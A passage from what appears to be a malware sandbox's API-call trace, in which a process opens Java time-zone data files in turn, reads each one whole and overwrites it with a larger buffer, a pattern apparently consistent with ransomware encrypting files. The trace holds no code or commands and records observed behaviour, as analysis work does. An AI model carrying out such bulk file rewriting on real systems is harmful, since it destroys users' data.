nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da7ed8*, lpNumberOfBytesWritten=0x304f2d0*=0xa50, lpOverlapped=0x0) returned 1 [0052.231] CloseHandle (hObject=0x1cc) returned 1 [0052.231] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\Rio_Gallegos" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\rio_gallegos"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.232] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.232] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x225 [0052.233] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.233] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.233] ReleaseMutex (hMutex=0x128) returned 1 [0052.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rio_Gallegos", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0052.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rio_Gallegos", cchWideChar=12, lpMultiByteStr=0x1e6340c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Rio_Gallegos", lpUsedDefaultChar=0x0) returned 12 [0052.233] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x304f2bc*=0x225, lpOverlapped=0x0) returned 1 [0052.234] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.234] WriteFile (in: hFile=0x1cc, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x7ad, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x304f2d0*=0x7ad, lpOverlapped=0x0) returned 1 [0052.234] CloseHandle (hObject=0x1cc) returned 1 [0052.234] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bahia_Banderas" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\bahia_banderas"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.234] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.234] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x34c [0052.234] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.235] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.235] ReleaseMutex (hMutex=0x128) returned 1 [0052.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bahia_Banderas", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0052.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bahia_Banderas", cchWideChar=14, lpMultiByteStr=0x1e62fec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bahia_Banderas", lpUsedDefaultChar=0x0) returned 14 [0052.235] ReadFile (in: hFile=0x1cc, lpBuffer=0x2750828, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x304f2bc*=0x34c, lpOverlapped=0x0) returned 1 [0052.236] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.236] WriteFile (in: hFile=0x1cc, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8d4, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x304f2d0*=0x8d4, lpOverlapped=0x0) returned 1 [0052.236] CloseHandle (hObject=0x1cc) returned 1 [0052.236] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cancun" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\cancun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.237] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.237] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x318 [0052.237] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.237] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.237] ReleaseMutex (hMutex=0x128) returned 1 [0052.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cancun", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0052.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cancun", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Cancun", lpUsedDefaultChar=0x0) returned 6 [0052.237] ReadFile (in: hFile=0x1cc, lpBuffer=0x2750828, nNumberOfBytesToRead=0x318, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x304f2bc*=0x318, lpOverlapped=0x0) returned 1 [0052.239] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.239] WriteFile (in: hFile=0x1cc, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x304f2d0*=0x8a0, lpOverlapped=0x0) returned 1 [0052.239] CloseHandle (hObject=0x1cc) returned 1 [0052.239] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Danmarkshavn" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\danmarkshavn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.239] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.240] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x155 [0052.240] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.240] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.240] ReleaseMutex (hMutex=0x128) returned 1 [0052.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Danmarkshavn", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0052.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Danmarkshavn", cchWideChar=12, lpMultiByteStr=0x1e633ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Danmarkshavn", lpUsedDefaultChar=0x0) returned 12 [0052.240] ReadFile (in: hFile=0x1cc, lpBuffer=0x2635928, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635928*, lpNumberOfBytesRead=0x304f2bc*=0x155, lpOverlapped=0x0) returned 1 [0052.241] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.241] WriteFile (in: hFile=0x1cc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6dd, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x6dd, lpOverlapped=0x0) returned 1 [0052.241] CloseHandle (hObject=0x1cc) returned 1 [0052.241] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Glace_Bay" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\glace_bay"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.241] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.241] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4b4 [0052.241] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.242] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.242] ReleaseMutex (hMutex=0x128) returned 1 [0052.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Glace_Bay", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0052.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Glace_Bay", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Glace_Bay", lpUsedDefaultChar=0x0) returned 9 [0052.242] ReadFile (in: hFile=0x1cc, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4b4, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x304f2bc*=0x4b4, lpOverlapped=0x0) returned 1 [0052.243] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.243] WriteFile (in: hFile=0x1cc, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xa3c, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f2d0*=0xa3c, lpOverlapped=0x0) returned 1 [0052.243] CloseHandle (hObject=0x1cc) returned 1 [0052.244] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Havana" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\havana"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.244] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.244] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x53c [0052.244] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.244] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.244] ReleaseMutex (hMutex=0x128) returned 1 [0052.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Havana", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0052.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Havana", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Havana", lpUsedDefaultChar=0x0) returned 6 [0052.244] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x53c, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x304f2bc*=0x53c, lpOverlapped=0x0) returned 1 [0052.246] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.246] WriteFile (in: hFile=0x1cc, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xac4, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f2d0*=0xac4, lpOverlapped=0x0) returned 1 [0052.246] CloseHandle (hObject=0x1cc) returned 1 [0052.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Inuvik" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\inuvik"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.247] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.247] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x424 [0052.247] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.247] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.247] ReleaseMutex (hMutex=0x128) returned 1 [0052.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Inuvik", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0052.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Inuvik", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Inuvik", lpUsedDefaultChar=0x0) returned 6 [0052.247] ReadFile (in: hFile=0x1cc, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x424, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x304f2bc*=0x424, lpOverlapped=0x0) returned 1 [0052.248] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.249] WriteFile (in: hFile=0x1cc, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x9ac, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x304f2d0*=0x9ac, lpOverlapped=0x0) returned 1 [0052.249] CloseHandle (hObject=0x1cc) returned 1 [0052.249] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Managua" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\managua"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.250] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.250] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xb9 [0052.250] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.250] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.250] ReleaseMutex (hMutex=0x128) returned 1 [0052.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Managua", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0052.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Managua", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Managua", lpUsedDefaultChar=0x0) returned 7 [0052.250] ReadFile (in: hFile=0x1cc, lpBuffer=0x2586c28, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2586c28*, lpNumberOfBytesRead=0x304f2bc*=0xb9, lpOverlapped=0x0) returned 1 [0052.251] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.251] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x641, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x641, lpOverlapped=0x0) returned 1 [0052.251] CloseHandle (hObject=0x1cc) returned 1 [0052.251] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Moncton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\moncton"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.252] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.252] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x6c4 [0052.252] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.252] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.252] ReleaseMutex (hMutex=0x128) returned 1 [0052.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Moncton", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0052.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Moncton", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Moncton", lpUsedDefaultChar=0x0) returned 7 [0052.252] ReadFile (in: hFile=0x1cc, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6c4, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x304f2bc*=0x6c4, lpOverlapped=0x0) returned 1 [0052.253] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.253] WriteFile (in: hFile=0x1cc, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0xc4c, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x304f2d0*=0xc4c, lpOverlapped=0x0) returned 1 [0052.254] CloseHandle (hObject=0x1cc) returned 1 [0052.254] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\Beulah" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\north_dakota\\beulah"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.254] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.254] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4fc [0052.254] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.254] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.254] ReleaseMutex (hMutex=0x128) returned 1 [0052.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Beulah", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0052.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Beulah", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Beulah", lpUsedDefaultChar=0x0) returned 6 [0052.254] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x4fc, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x304f2bc*=0x4fc, lpOverlapped=0x0) returned 1 [0052.256] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.256] WriteFile (in: hFile=0x1cc, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0xa84, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x304f2d0*=0xa84, lpOverlapped=0x0) returned 1 [0052.256] CloseHandle (hObject=0x1cc) returned 1 [0052.256] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Port_of_Spain" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\port_of_spain"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.257] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.257] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x41 [0052.257] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.257] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.257] ReleaseMutex (hMutex=0x128) returned 1 [0052.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Port_of_Spain", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0052.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Port_of_Spain", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Port_of_Spain", lpUsedDefaultChar=0x0) returned 13 [0052.257] ReadFile (in: hFile=0x1cc, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x304f2bc*=0x41, lpOverlapped=0x0) returned 1 [0052.258] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) 